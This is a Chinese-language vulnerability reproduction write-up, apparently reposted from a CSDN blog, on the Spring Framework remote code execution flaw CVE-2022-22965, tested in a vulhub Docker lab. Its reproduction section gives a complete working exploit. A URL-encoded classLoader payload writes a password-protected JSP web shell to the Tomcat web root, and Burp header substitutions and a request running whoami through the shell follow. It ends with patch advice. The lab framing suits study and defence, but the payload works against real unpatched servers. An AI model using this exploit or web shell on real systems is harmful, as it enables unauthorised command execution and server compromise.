0


CVE-2022-22965 Spring Framework远程代码执行漏洞复现

0x01 声明:

    仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

    springframework 是spring 里面的一个基础开源框架,主要用于javaee的企业开发。Spring是什么呢?首先它是一个开源的项目,而且非常活跃;它是一个基于IOC和AOP的构架多层j2ee系统的框架,但它不强迫你必须在每一层中必须使用Spring,因为它模块化的很好,允许你根据自己的需要选择使用它的某一个模块;它实现了很优雅的MVC,对不同的数据访问技术提供了统一的接口,采用IOC使得可以很容易的实现bean的装配,提供了简洁的AOP并据此实现Transaction Management。

0x03 漏洞概述:

    Spring Framework 是一个开源的轻量级J2EE应用程序开发框架。 3月31日,VMware发布安全公告,修复了Spring Framework中的远程代码执行漏洞(CVE-2022-22965)。在 JDK 9 及以上版本环境下,可以利用此漏洞在未授权的情况下在目标系统上写入恶意程序从而远程执行任意代码。

0x04 影响版本:

    运行环境为JDK9及以上版本的:

    Spring Framework 5.3.0 -5.3.17

    Spring Framework 5.2.0 - 5.2.19

    以及其它旧版的、不受支持的版本。

0x05 环境搭建:

Docker环境:

            参考这篇文章(Docker&Docker-compose环境安装_Evan Kang的博客-CSDN博客)

漏洞环境:

            1、下载vulhub

                    ( Vulhub环境压缩包)

                   (https://github.com/vulhub/vulhub)

            2、进入vulhub/spring/CVE-2022-22965环境

            3、启动docker环境

            4、访问系统

0x06 漏洞复现:

1、构造payload:

            url 拼接:

                    http://192.168.18.130:8080
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
http://192.168.18.130:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2、burp修改请求体:

            对红框中内容进行替换:
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2

3、请求:

                    http://192.168.18.130:8080/tomcatwar.jsp?pwd=j&cmd=whoami

4、查看文件:

                    我们进docker环境中回发现在这个目录下生成了一个文件
docker ps
docker exec -it ID /bin/bash
cd webapps/ROOT
ls

0x07 流量分析:

1、请求流量:

2、RCE流量:

0x08 修复建议:

    目前官方已经修复了此漏洞,受影响用户可以升级更新到Spring Framework 5.3.18或5.2.20。

    下载链接: https://github.com/spring-projects/spring-framework/tags

本文转载自: https://blog.csdn.net/qq_44281295/article/details/126857453
版权归原作者 Evan Kang 所有, 如有侵权,请联系我们删除。

“CVE-2022-22965 Spring Framework远程代码执行漏洞复现”的评论:

还没有评论